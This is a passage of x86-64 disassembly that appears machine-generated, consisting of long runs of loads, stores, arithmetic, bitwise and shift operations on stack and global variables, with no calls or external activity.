movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xc7]
add eax, ecx
mov byte [rsp + 0x76], al
lea rax, [rsp + 0xd48]
mov qword [rsp + 0x9420], rax
mov eax, dword [rsp + 0x3f94]
mov ecx, dword [rsp + 0x3cbc]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8318]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9238]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7630]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x7308], rax
lea rax, [rsp + 0x80a0]
mov qword [rsp + 0x9428], rax
mov rax, qword [rsp + 0x7bc8]
mov ecx, dword [rsp + 0x3bb4]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x85f8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8b18]
movsx eax, word [rax]
movsx ecx, word [0x140179108]
add eax, ecx
mov rcx, qword [0x14017a850]
mov word [rcx], ax
movzx eax, byte [rsp + 0xe0]
mov byte [rsp + 0x174], al
mov rax, qword [rsp + 0x7bf8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xda4]
sub eax, ecx
mov rcx, qword [rsp + 0x7c98]
mov word [rcx], ax
mov rax, qword [rsp + 0x8798]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x75d0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x5a], al
movzx eax, word [rsp + 0x1030]
mov word [rsp + 0x107c], ax
mov rax, qword [rsp + 0x8938]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x7970]
shl rax, cl
mov qword [rsp + 0x92f8], rax
mov rax, qword [0x140179010]
mov qword [rsp + 0x9430], rax
mov rax, qword [rsp + 0x88a0]
mov ecx, dword [rsp + 0x3e20]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x85b8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x3f74]
mov dword [rsp + 0x407c], eax
movsx eax, word [rsp + 0xcc8]
movsx ecx, word [0x1401790cc]
sar eax, cl
mov word [0x140179118], ax
movsx eax, byte [rsp + 0xbc]
movsx ecx, byte [rsp + 0x165]
xor eax, ecx
mov rcx, qword [rsp + 0x8510]
mov byte [rcx], al
mov rax, qword [rsp + 0x83e8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x87]
and eax, ecx
mov byte [rsp + 0x45], al
mov rax, qword [0x14017a910]
movzx eax, word [rax]
mov word [rsp + 0x1080], ax
movsx eax, word [rsp + 0xea8]
mov rcx, qword [rsp + 0x8f20]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xd80], ax
mov rax, qword [rsp + 0x7f70]
mov rax, qword [rax]
mov qword [rsp + 0x9438], rax
mov rax, qword [0x140179010]
mov rcx, qword [rsp + 0x9130]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x7e48], rax
mov rax, qword [rsp + 0x6dc0]
mov rcx, qword [rsp + 0x83e0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3e80], eax
mov eax, dword [rsp + 0x3f90]
mov dword [rsp + 0x4080], eax
mov rax, qword [rsp + 0x7b88]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x7a20]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [0x14017a7c8]
mov byte [rcx], al
movzx eax, word [rsp + 0xc6c]
movzx ecx, word [rsp + 0xdd0]
add eax, ecx
mov word [rsp + 0xf80], ax
lea rax, [rsp + 0xd98]
mov qword [rsp + 0x9440], rax
mov rax, qword [0x14017a688]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x6e]
sub eax, ecx
mov byte [rsp + 0xce], al
movzx eax, word [rsp + 0xdfc]
movzx ecx, word [rsp + 0xc30]
and eax, ecx
mov word [rsp + 0xc0c], ax
mov rax, qword [rsp + 0x8470]
mov qword [rsp + 0x9448], rax
mov rax, qword [rsp + 0x80e8]
mov rcx, qword [rsp + 0x89b0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x8f30]
mov qword [rcx], rax
mov rax, qword [rsp + 0x7738]
mov eax, dword [rax]
mov dword [rsp + 0x4084], eax
mov rax, qword [rsp + 0x8500]
mov ecx, dword [rsp + 0x4064]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x8478]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x5e]
mov byte [0x14017a5c4], al
lea rax, [rsp + 0xccc]
mov qword [rsp + 0x9450], rax
mov rax, qword [rsp + 0x77f0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xf0]
xor eax, ecx
mov byte [rsp + 0xcf], al
movzx eax, byte [rsp + 0x4b]
movzx ecx, byte [rsp + 0x174]
sar eax, cl
mov byte [rsp + 0x10b], al
lea rax, [rsp + 0x5d]
mov qword [rsp + 0x9458], rax
mov eax, dword [rsp + 0x3d74]
movzx ecx, al
mov eax, dword [rsp + 0x3d0c]
shl eax, cl
mov rcx, qword [rsp + 0x86e8]
mov dword [rcx], eax
lea rax, [0x140179010]
mov qword [rsp + 0x9460], rax
mov rax, qword [rsp + 0x93c8]
mov rcx, qword [rsp + 0x8d88]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x92d0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x7ad8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3e9c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x3cc8], eax
mov rax, qword [0x14017a800]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x129]
sub eax, ecx
mov byte [0x140179092], al
mov rax, qword [rsp + 0x8a28]
movzx eax, byte [rax]
mov byte [rsp + 0x175], al
mov rax, qword [rsp + 0x6f18]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x8aa0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xe64], ax
movzx eax, word [rsp + 0x1064]
mov word [rsp + 0x1084], ax
mov rax, qword [rsp + 0x82a0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6f28]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xd14], ax
mov rax, qword [rsp + 0x8f80]
mov rcx, qword [rsp + 0x8098]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x7f00]
mov qword [rcx], rax
lea rax, [rsp + 0x3f4c]
mov qword [rsp + 0x9468], rax
mov rax, qword [rsp + 0x7c30]
mov ecx, dword [rsp + 0x3d0c]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x7e10]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7980]
mov rax, qword [rax]
mov qword [rsp + 0x9470], rax
movzx eax, word [rsp + 0xf84]
mov rcx, qword [rsp + 0x9388]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xd08], ax
mov rax, qword [rsp + 0x8010]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xfa4]
add eax, ecx
mov word [0x140179028], ax
mov rax, qword [rsp + 0x79d0]
movzx eax, byte [rax]
mov rcx, qword [0x14017a660]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x14a], al
lea rax, [rsp + 0xac]
mov qword [rsp + 0x9478], rax
mov rax, qword [rsp + 0x79f8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x106c]
shl eax, cl
mov rcx, qword [rsp + 0x8b18]
mov word [rcx], ax
mov rax, qword [rsp + 0x8258]
mov qword [rsp + 0x9480], rax
mov rax, qword [rsp + 0x7e10]
mov rcx, qword [rsp + 0x73d0]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x3d9c], eax
mov rax, qword [rsp + 0x70e0]
mov eax, dword [rax]
mov dword [rsp + 0x4088], eax
mov rax, qword [rsp + 0x6a50]
movzx ecx, al
mov rax, qword [rsp + 0x8658]
sar rax, cl
mov rcx, qword [rsp + 0x8f98]
mov qword [rcx], rax
mov rax, qword [rsp + 0x76e8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xddc]
xor eax, ecx
mov rcx, qword [rsp + 0x7570]
mov word [rcx], ax
mov rax, qword [rsp + 0x8b70]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x16c]
add eax, ecx
mov rcx, qword [0x14017a700]
mov byte [rcx], al
mov rax, qword [0x14017a548]
movzx eax, byte [rax]
mov byte [rsp + 0x176], al
movsx eax, word [rsp + 0xd78]
mov rcx, qword [rsp + 0x6b68]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x88c8]
mov word [rcx], ax
lea rax, [rsp + 0xf54]
mov qword [rsp + 0x9488], rax
mov rax, qword [rsp + 0x7798]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3c68]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x3ef4], eax
mov rax, qword [rsp + 0x90c0]
mov rcx, qword [rsp + 0x7f00]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x7f88], rax
mov eax, dword [rsp + 0x3f90]
mov dword [rsp + 0x408c], eax
mov rax, qword [0x140179010]
mov rcx, qword [rsp + 0x86b8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x7440], rax
lea rax, [rsp + 0xd7c]
mov qword [rsp + 0x9490], rax
movzx eax, word [rsp + 0xfa8]
movzx ecx, word [rsp + 0xf70]
sub eax, ecx
mov word [0x14017911c], ax
mov rax, qword [rsp + 0x7b30]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8d20]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x112], al
movzx eax, byte [rsp + 0x172]
movzx ecx, byte [rsp + 0xe5]
add eax, ecx
mov rcx, qword [rsp + 0x9240]
mov byte [rcx], al
movzx eax, byte [rsp + 0x69]
mov byte [rsp + 0x177], al
mov rax, qword [rsp + 0x7f70]
mov rcx, qword [rsp + 0x7338]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x8390]
mov qword [rcx], rax
mov eax, dword [rsp + 0x3d24]
mov dword [rsp + 0x4090], eax
mov rax, qword [rsp + 0x8d78]
mov rcx, qword [rsp + 0x8358]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3e5c], eax
mov rax, qword [rsp + 0x7748]
mov rcx, qword [rsp + 0x8eb0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x7290], rax
movzx eax, byte [rsp + 0xf6]
mov byte [rsp + 0x178], al
mov rax, qword [rsp + 0x6f58]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xea]
sar eax, cl
mov byte [0x140179093], al
movzx eax, word [rsp + 0xf90]
movzx ecx, word [rsp + 0xcdc]
shl eax, cl
mov word [rsp + 0xd1c], ax
mov rax, qword [rsp + 0x8110]
movzx eax, word [rax]
mov word [rsp + 0x1088], ax
mov rax, qword [rsp + 0x6a58]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8ef8]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0xfa], al
mov rax, qword [0x14017a688]
movzx eax, byte [rax]
mov byte [rsp + 0x179], al
mov rax, qword [rsp + 0x8220]
mov rcx, qword [rsp + 0x7da8]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x7eb8], rax
mov rax, qword [rsp + 0x8ea8]
mov ecx, dword [0x140179004]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x7e38]
mov dword [rcx], eax
mov rax, qword [rsp + 0x71a8]
mov eax, dword [rax]
mov dword [rsp + 0x4094], eax
mov rax, qword [rsp + 0x8c28]
mov rcx, qword [rsp + 0x7ee8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x90b0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x93f8]
movzx eax, word [rax]
mov rcx, qword [0x14017a928]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x14017a938], ax
mov rax, qword [rsp + 0x7cc0]
movzx eax, byte [rax]
mov byte [rsp + 0x17a], al
mov rax, qword [rsp + 0x7960]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xcf4]
and eax, ecx
mov word [rsp + 0xf5c], ax
movsx eax, word [rsp + 0x1088]
movsx ecx, word [rsp + 0xc64]
add eax, ecx
mov word [rsp + 0xc70], ax
movzx eax, byte [rsp + 0x7c]
mov byte [rsp + 0x17b], al
mov rax, qword [rsp + 0x80e8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x85c8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x85c0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6ac0]
mov eax, dword [rax]
mov dword [rsp + 0x4098], eax
mov rax, qword [rsp + 0x7110]
mov rcx, qword [rsp + 0x7548]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x8c40]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8e20]
mov ecx, dword [rsp + 0x3f74]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4060], eax
mov rax, qword [0x14017a898]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1044]
add eax, ecx
mov rcx, qword [0x14017a528]
mov word [rcx], ax
lea rax, [rsp + 0xfd8]
mov qword [rsp + 0x9498], rax
movsx eax, byte [rsp + 0x168]
movsx ecx, byte [rsp + 0x12d]
xor eax, ecx
mov byte [rsp + 0x152], al
lea rax, [0x140179026]
mov qword [rsp + 0x94a0], rax
movzx eax, word [rsp + 0xdf0]
mov rcx, qword [rsp + 0x8108]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x7bc0]
mov word [rcx], ax
lea rax, [rsp + 0x7900]
mov qword [rsp + 0x94a8], rax
mov rax, qword [rsp + 0x7418]
mov rcx, qword [rsp + 0x7480]
mov qword [rsp + 0x94b0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x94b0]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x8020], rax
mov eax, dword [rsp + 0x3d6c]
mov ecx, dword [rsp + 0x3c1c]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x3f38], eax
mov rax, qword [rsp + 0x7df8]
mov eax, dword [rax]
mov dword [rsp + 0x409c], eax
lea rax, [rsp + 0xc0c]
mov qword [0x14017a9b8], rax
movsx eax, word [rsp + 0xc34]
mov rcx, qword [rsp + 0x8150]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x8a80]
mov word [rcx], ax
lea rax, [rsp + 0x4c]
mov qword [rsp + 0x94b8], rax
movsx eax, byte [rsp + 0x7f]
movsx ecx, byte [0x14017a586]
sub eax, ecx
mov byte [rsp + 0x14d], al
movzx eax, byte [rsp + 0xe3]
mov rcx, qword [rsp + 0x85d8]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x8688]
mov byte [rcx], al
lea rax, [rsp + 0x9480]
mov qword [rsp + 0x94c0], rax
mov rax, qword [rsp + 0x8e60]
mov rcx, qword [rsp + 0x87a8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x6cf8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x4048]
mov dword [rsp + 0x40a0], eax
mov rax, qword [rsp + 0x8a90]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x91a0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x72b8], rax
movsx eax, byte [rsp + 0x15f]
movsx ecx, byte [rsp + 0x133]
and eax, ecx
mov byte [0x140179083], al
mov rax, qword [rsp + 0x81c0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xbb]
add eax, ecx
mov rcx, qword [rsp + 0x6a40]
mov byte [rcx], al
lea rax, [rsp + 0xc50]
mov qword [rsp + 0x94c8], rax
mov rax, qword [rsp + 0x8540]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xf20]
sub eax, ecx
mov rcx, qword [rsp + 0x8718]
mov word [rcx], ax
mov rax, qword [rsp + 0x87e8]
movzx eax, byte [rax]
mov byte [rsp + 0x17c], al
mov rax, qword [rsp + 0x7ad8]
mov ecx, dword [rsp + 0x3f60]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x3c54], eax
mov rax, qword [rsp + 0x6c40]
mov eax, dword [rax]
mov ecx, dword [0x140179004]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4004], eax
mov rax, qword [rsp + 0x7f28]
mov qword [rsp + 0x94d0], rax
mov rax, qword [rsp + 0x8bd0]
mov rcx, qword [rsp + 0x83b8]
mov qword [rsp + 0x94d8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x94d8]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0x80f0]
mov qword [rcx], rax
lea rax, [0x140179054]
mov qword [0x14017a9c0], rax
lea rax, [rsp + 0xcfc]
mov qword [rsp + 0x94e0], rax
mov rax, qword [rsp + 0x8780]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x7c78]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x79f8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x112]
mov byte [rsp + 0x17d], al
movzx eax, byte [str.4B_ay]
mov rcx, qword [rsp + 0x8f88]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x127], al
mov rax, qword [rsp + 0x7ac8]
mov rcx, qword [rsp + 0x6c40]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x3d94], eax
mov rax, qword [rsp + 0x8258]
mov qword [rsp + 0x94e8], rax
mov rax, qword [0x14017a4d8]
mov rcx, qword [rsp + 0x7af0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4080], eax
mov rax, qword [rsp + 0x6dd0]
mov rax, qword [rax]
mov qword [rsp + 0x94f0], rax
lea rax, [rsp + 0x10f]
mov qword [0x14017a9c8], rax
movzx eax, word [rsp + 0xef0]
movzx ecx, word [0x140179104]
imul eax, ecx
mov rcx, qword [rsp + 0x7ac0]
mov word [rcx], ax
mov rax, qword [rsp + 0x82f8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1050]
add eax, ecx
mov word [rsp + 0x1014], ax
mov rax, qword [rsp + 0x90b8]
movzx eax, byte [rax]
mov byte [rsp + 0x17e], al
movzx eax, word [0x140179020]
mov rcx, qword [rsp + 0x76d0]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6e30]
mov word [rcx], ax
lea rax, [rsp + 0x3d28]
mov qword [rsp + 0x94f8], rax
mov rax, qword [rsp + 0x9158]
mov rcx, qword [rsp + 0x7988]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x7f58], rax
mov eax, dword [rsp + 0x3ce8]
mov ecx, dword [rsp + 0x3c94]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8760]
mov dword [rcx], eax
lea rax, [rsp + 0x72c8]
mov qword [rsp + 0x9500], rax
mov rax, qword [rsp + 0x6a78]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6b60]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [0x14017a6e0]
mov byte [rcx], al
mov rax, qword [rsp + 0x8360]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x7960]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x7628]
mov word [rcx], ax
movzx eax, word [rsp + 0xf70]
mov word [rsp + 0x108c], ax
movsx eax, byte [rsp + 0x175]
movsx ecx, byte [rsp + 0xdf]
add eax, ecx
mov byte [rsp + 0xad], al
mov rax, qword [0x14017a518]
movzx eax, byte [rax]
mov byte [rsp + 0x17f], al
mov rax, qword [rsp + 0x6cf0]
mov rcx, qword [rsp + 0x9310]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x8690], rax
mov rax, qword [rsp + 0x8e48]
mov rcx, qword [rsp + 0x7680]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x8dd0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x3c7c]
mov dword [rsp + 0x40a4], eax
mov rax, qword [rsp + 0x83c8]
mov rcx, qword [rsp + 0x8768]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x7418], rax
mov rax, qword [rsp + 0x9488]
movzx eax, word [rax]
mov word [rsp + 0x1090], ax
lea rax, [0x140179038]
mov qword [0x14017a9d0], rax
mov rax, qword [rsp + 0x8f10]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xd4]
sar eax, cl
mov byte [rsp + 0x8f], al
mov rax, qword [rsp + 0x8cf8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x8910]
movsx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x81d0]
mov byte [rcx], al
movzx eax, word [0x140179108]
mov word [rsp + 0x1094], ax
mov rax, qword [rsp + 0x6d10]
mov ecx, dword [rsp + 0x3ed4]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x92e0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6d98]
mov qword [rsp + 0x9508], rax
mov rax, qword [0x14017a4d8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x3cb8]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x4040], eax
mov rax, qword [rsp + 0x8668]
mov rcx, qword [rsp + 0x6c00]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x8fe0], rax
lea rax, [rsp + 0x124]
mov qword [rsp + 0x9510], rax
movzx eax, word [0x14017903c]
mov rcx, qword [rsp + 0x9290]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x1401790fc], ax
mov rax, qword [rsp + 0x8da8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6a38]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x7ab0]
mov word [rcx], ax
lea rax, [rsp + 0xd3c]
mov qword [rsp + 0x9518], rax
mov rax, qword [0x14017a900]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xb7]
add eax, ecx
mov byte [rsp + 0x13c], al
mov rax, qword [rsp + 0x8e20]
mov ecx, dword [rsp + 0x3d58]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x94f8]
mov dword [rcx], eax
lea rax, [rsp + 0x3d3c]
mov qword [rsp + 0x9520], rax
mov rax, qword [rsp + 0x71c0]
mov rcx, qword [0x140179010]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x89d8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x7480]
mov rax, qword [rax]
mov qword [rsp + 0x9528], rax
mov rax, qword [rsp + 0x9188]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x7b30]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x46], al
mov rax, qword [0x14017a6d8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xf74]
add eax, ecx
mov rcx, qword [0x14017a848]
mov word [rcx], ax
movzx eax, byte [rsp + 0x15e]
mov byte [rsp + 0x180], al
movzx eax, word [rsp + 0xde8]
movzx ecx, word [0x14017a790]
sar eax, cl
mov word [rsp + 0x104c], ax
mov rax, qword [rsp + 0x8f60]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xf7]
xor eax, ecx
mov byte [rsp + 0x123], al
mov eax, dword [rsp + 0x3d84]
mov dword [rsp + 0x40a8], eax
mov rax, qword [rsp + 0x8960]
mov rcx, qword [rsp + 0x8e28]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x7f10]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8440]
mov qword [rsp + 0x9530], rax
mov rax, qword [rsp + 0x7fd0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x8e50]
mov qword [rsp + 0x9538], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9538]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x3ee4], eax
mov rax, qword [rsp + 0x8990]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xe5c]
sub eax, ecx
mov word [rsp + 0xedc], ax
mov rax, qword [rsp + 0x9188]
movzx eax, byte [rax]
mov byte [0x14017a5c5], al
lea rax, [rsp + 0x1020]
mov qword [rsp + 0x9540], rax
mov rax, qword [rsp + 0x7010]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x87c8]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x93f0]
mov byte [rcx], al
movzx eax, byte [0x140179009]
mov byte [rsp + 0x181], al
movsx eax, byte [rsp + 0xb4]
movsx ecx, byte [rsp + 0x175]
add eax, ecx
mov byte [rsp + 0x53], al
mov rax, qword [rsp + 0x6a68]
mov rcx, qword [rsp + 0x9130]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x7af8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8420]
mov qword [rsp + 0x9548], rax
mov rax, qword [rsp + 0x6c68]
mov rcx, qword [rsp + 0x72f0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x3cdc], eax
mov eax, dword [rsp + 0x3e40]
mov dword [rsp + 0x40ac], eax
lea rax, [rsp + 0xd1c]
mov qword [0x14017a9d8], rax
mov rax, qword [rsp + 0x8058]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x141]
sub eax, ecx
mov byte [rsp + 0x97], al
mov rax, qword [rsp + 0x7490]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x72e0]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xe50], ax
movzx eax, byte [rsp + 0x10d]
mov byte [rsp + 0x182], al
movsx eax, byte [rsp + 0x157]
mov rcx, qword [rsp + 0x7cf8]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x6a78]
mov byte [rcx], al
mov eax, dword [rsp + 0x3d8c]
mov dword [rsp + 0x40b0], eax
mov rax, qword [rsp + 0x6d40]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4058]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8c18]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6dd0]
mov rax, qword [rax]
mov qword [rsp + 0x9550], rax
mov rax, qword [rsp + 0x8160]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x7c00]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x7868], rax
mov rax, qword [rsp + 0x7360]
movsx eax, word [rax]
mov rcx, qword [0x14017a560]
movsx ecx, word [rcx]
or eax, ecx
mov word [0x14017a4e0], ax
movzx eax, word [rsp + 0xfbc]
movzx ecx, word [rsp + 0x1068]
xor eax, ecx
mov rcx, qword [rsp + 0x6f28]
mov word [rcx], ax
lea rax, [rsp + 0x46]
mov qword [rsp + 0x9558], rax
movzx eax, word [rsp + 0xefc]
cdq
mov ecx, 0x981
idiv ecx
mov word [rsp + 0xc58], ax
lea rax, [rsp + 0xd10]
mov qword [rsp + 0x9560], rax
mov rax, qword [rsp + 0x89a0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x6d88]
mov qword [rsp + 0x9568], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9568]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x3e24], eax
mov rax, qword [rsp + 0x8ef0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x8dd0]
mov qword [rsp + 0x9570], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9570]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x73a8]
mov dword [rcx], eax
lea rax, [rsp + 0x88c0]
mov qword [rsp + 0x9578], rax
mov rax, qword [rsp + 0x9358]
mov rcx, qword [rsp + 0x85b0]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x7380]
mov qword [rcx], rax
lea rax, [rsp + 0xc84]
mov qword [0x14017a9e0], rax
mov rax, qword [rsp + 0x9558]
movzx eax, byte [rax]
mov byte [rsp + 0x183], al
mov rax, qword [rsp + 0x87e8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x7b28]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8fa8]
mov byte [rcx], al
movzx eax, byte [rsp + 0x130]
movzx ecx, byte [rsp + 0x8e]
and eax, ecx
mov rcx, qword [rsp + 0x74a8]
mov byte [rcx], al
movzx eax, word [rsp + 0xdd0]
mov word [rsp + 0x1098], ax
mov rax, qword [rsp + 0x7478]
mov ecx, dword [rsp + 0x3e80]
imul ecx, dword [rax]
mov eax, ecx
mov dword [rsp + 0x3f80], eax
lea rax, [0x140179010]
mov qword [rsp + 0x9580], rax
mov rax, qword [rsp + 0x8bf0]
mov rcx, qword [rsp + 0x91e0]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x6ea8]
mov qword [rcx], rax
mov eax, dword [rsp + 0x3f1c]
mov dword [rsp + 0x40b4], eax
movsx eax, byte [rsp + 0x50]
mov rcx, qword [0x14017a648]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [0x140179046], al
mov rax, qword [rsp + 0x7cb8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1078]
sub eax, ecx
mov word [rsp + 0x1050], ax
movzx eax, word [rsp + 0xc68]
mov rcx, qword [rsp + 0x9290]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x1068], ax
lea rax, [rsp + 0x8c]
mov qword [rsp + 0x9588], rax
